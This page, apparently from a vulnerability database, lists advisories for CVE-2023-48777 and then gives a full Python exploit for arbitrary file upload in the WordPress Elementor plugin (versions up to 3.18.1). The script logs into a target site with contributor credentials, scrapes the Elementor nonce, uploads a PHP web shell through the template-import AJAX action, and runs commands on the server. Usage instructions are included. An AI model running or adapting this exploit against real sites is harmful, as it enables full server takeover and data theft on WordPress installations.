| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| WordPress Elementor 3.18.1 File Upload / Remote Code Execution Vulnerabilities | 8 Dec 202300:00 | โ | zdt | |
| WordPress Plugin Elementor Website Builder ไปฃ็ ้ฎ้ขๆผๆด | 26 Mar 202400:00 | โ | cnnvd | |
| CVE-2023-48777 | 26 Mar 202420:49 | โ | cve | |
| CVE-2023-48777 WordPress Elementor plugin 3.3.0-3.18.1 - Arbitrary File Upload vulnerability | 26 Mar 202420:49 | โ | cvelist | |
| WordPress Elementor 3.18.1 - File Upload/Remote Code Execution | 2 Jun 202610:14 | โ | nuclei | |
| CVE-2023-48777 | 26 Mar 202421:15 | โ | nvd | |
| WordPress Elementor Website Builder Plugin < 3.18.2 RCE Vulnerability | 2 Jun 202300:00 | โ | openvas | |
| WordPress Elementor Website Builder Plugin 3.3.0-3.18.1 is vulnerable to Arbitrary File Upload | 6 Dec 202300:00 | โ | patchstack | |
| CVE-2023-48777 | 23 May 202505:45 | โ | redhatcve | |
| VulnCheck KEV: CVE-2023-48777 | 8 Dec 202300:00 | โ | vulncheck_kev |
=============================================================================================================================================
| # Title : WordPress Elementor 3.18.1 RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/elementor/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/176112/ & CVE-2023-48777
[+] Summary :
an authenticated arbitrary file upload vulnerability in Elementor Website Builder plugin for WordPress versions 3.18.1 and earlier.
The vulnerability allows attackers with contributor-level access or higher to upload arbitrary files, including PHP webshells, leading to remote code execution and complete server compromise.
The vulnerability exists in the template import functionality (elementor_import_template AJAX action) where files are saved to a temporary directory before proper file type validation occurs.
Failed validation does not trigger deletion of the temporary file.
[+] POC : python poc.py
---
#!/usr/bin/env python3
"""
Elementor <= 3.18.1 RCE Exploit (CVE-2023-48777)
Author: indoushka
"""
import requests
import base64
import random
import string
import sys
import json
from urllib.parse import urljoin
class ElementorRCE:
def __init__(self, target, username, password):
self.target = target.rstrip('/')
self.session = requests.Session()
self.username = username
self.password = password
self.nonce = None
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def login(self):
"""Authenticate with WordPress"""
print("[*] Attempting WordPress login...")
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': f'{self.target}/wp-admin/',
'testcookie': '1'
}
login_url = f"{self.target}/wp-login.php"
# Get login cookies first
self.session.get(login_url)
# Perform login
resp = self.session.post(login_url, data=login_data, allow_redirects=False)
if 'wordpress_logged_in' in self.session.cookies:
print("[+] Successfully logged in to WordPress")
return True
else:
print("[-] Login failed")
return False
def get_nonce(self):
"""Get Elementor nonce for AJAX requests"""
print("[*] Retrieving Elementor nonce...")
urls_to_check = [
f"{self.target}/wp-admin/admin-ajax.php",
f"{self.target}/wp-admin/post-new.php",
f"{self.target}/wp-admin/edit.php"
]
for url in urls_to_check:
resp = self.session.get(url)
if resp.status_code == 200:
# Look for nonce in response
if 'elementor' in resp.text and 'nonce' in resp.text:
import re
nonce_patterns = [
r'elementor[\'"]?[-_]?nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"]',
r'nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"][^>]*elementor',
r'"nonce":"([a-f0-9]+)"[^}]*elementor'
]
for pattern in nonce_patterns:
matches = re.search(pattern, resp.text, re.IGNORECASE)
if matches:
self.nonce = matches.group(1)
print(f"[+] Found Elementor nonce: {self.nonce}")
return True
print("[-] Could not find Elementor nonce")
return False
def upload_shell(self, php_code):
"""Upload PHP shell via Elementor template import"""
print("[*] Uploading PHP shell...")
# Method 1: Direct file upload
filename = f"{self.random_string()}_template.php"
files = {
'fileToUpload': (filename, php_code, 'application/zip')
}
data = {
'action': 'elementor_import_template',
'_nonce': self.nonce
}
upload_url = f"{self.target}/wp-admin/admin-ajax.php"
resp = self.session.post(upload_url, files=files, data=data)
if resp.status_code == 200:
try:
result = resp.json()
if result.get('success'):
shell_url = result['data']['file_url']
print(f"[+] Shell uploaded: {shell_url}")
return shell_url
except:
# Try to extract URL from response
if 'file_url' in resp.text:
import re
match = re.search(r'"file_url":"([^"]+)"', resp.text)
if match:
shell_url = match.group(1).replace('\\/', '/')
print(f"[+] Shell uploaded: {shell_url}")
return shell_url
# Method 2: Base64 upload
print("[*] Trying base64 upload method...")
return self.upload_via_base64(php_code)
def upload_via_base64(self, php_code):
"""Upload via base64 encoded file data"""
base64_data = base64.b64encode(php_code.encode()).decode()
filename = f"{self.random_string()}.php"
data = {
'action': 'elementor_import_template',
'_nonce': self.nonce,
'fileData': base64_data,
'fileName': filename
}
upload_url = f"{self.target}/wp-admin/admin-ajax.php"
resp = self.session.post(upload_url, data=data)
if resp.status_code == 200:
try:
result = resp.json()
if result.get('success'):
shell_url = result['data']['file_url']
print(f"[+] Shell uploaded via base64: {shell_url}")
return shell_url
except:
pass
return None
def execute_shell(self, shell_url):
"""Execute the uploaded shell"""
print(f"[*] Executing shell at: {shell_url}")
resp = self.session.get(shell_url)
if resp.status_code == 200:
print("[+] Shell executed successfully")
return resp.text
else:
print(f"[-] Shell execution failed: HTTP {resp.status_code}")
return None
def random_string(self, length=8):
"""Generate random string"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def exploit(self, command=None):
"""Main exploit method"""
if not self.login():
return False
if not self.get_nonce():
return False
# Generate PHP shell
if command:
php_shell = f"<?php system('{command}'); ?>"
else:
php_shell = "<?php if(isset($_REQUEST['cmd'])){{system($_REQUEST['cmd']);}}?>"
shell_url = self.upload_shell(php_shell)
if shell_url:
if command:
result = self.execute_shell(shell_url)
if result:
print(f"[+] Command output:\n{result}")
else:
print(f"[+] Web shell ready: {shell_url}?cmd=whoami")
return shell_url
return False
def main():
if len(sys.argv) < 4:
print("Usage: python3 elementor_rce.py <target> <username> <password> [command]")
print("Example: python3 elementor_rce.py http://localhost contributor password123 'id'")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4] if len(sys.argv) > 4 else None
exploit = ElementorRCE(target, username, password)
exploit.exploit(command)
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation